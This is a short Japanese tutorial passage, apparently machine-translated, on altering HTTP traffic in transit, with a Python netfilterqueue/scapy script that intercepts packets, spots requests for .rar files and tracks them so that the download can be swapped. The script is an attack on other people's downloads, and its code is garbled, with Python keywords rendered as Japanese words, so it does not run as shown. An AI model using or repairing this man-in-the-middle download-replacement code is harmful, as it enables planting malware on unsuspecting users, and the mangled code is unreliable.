HTTP層のデータを変更します
- リクエスト/レスポンスを編集します。
- ダウンロード要求を交換してください。
- コードを挿入(HTML / Javascriptを)
フライ上のHTTP要求の変更:
#!は/ usr / binに/ envをパイソン から netfilterqueue 輸入NetfilterQueue から scapy.layers.inetのインポートIP、TCP から scapy.packetの輸入原材料 ack_list = [] DEF process_packet(パケット): scapy_packet = IP(packet.get_payload()) #印刷(scapy_packet.show()) であれば scapy_packet.haslayer(TCP)とscapy_packet.haslayer(生): もし == 80 .dport scapy_packet [TCP] :# の印刷( "HTTPリクエスト") であれば ".RAR " でscapy_packet [RAW] .load.decode(): プリント(" [+] RAR要求」) ack_list.append(scapy_packet [TCP] .ack) プリント(scapy_packet.show()) のelif scapy_packet [TCP]。スポーツ== 80 : もし scapy_packet [TCP] .SEQ でack_list: ack_list.remove(scapy_packet [TCP] .SEQ) プリント(" [+]交換ファイル" ) #の印刷( "HTTP応答") プリント(scapy_packet.show( )) packet.accept() キュー = NetfilterQueue() queue.bind(0、process_packet) してみてください: queue.run() を除くKeyboardInterrupt: プリント('' )
HTTPのウェブサイトを参照し、.RARファイルをダウンロードしてください。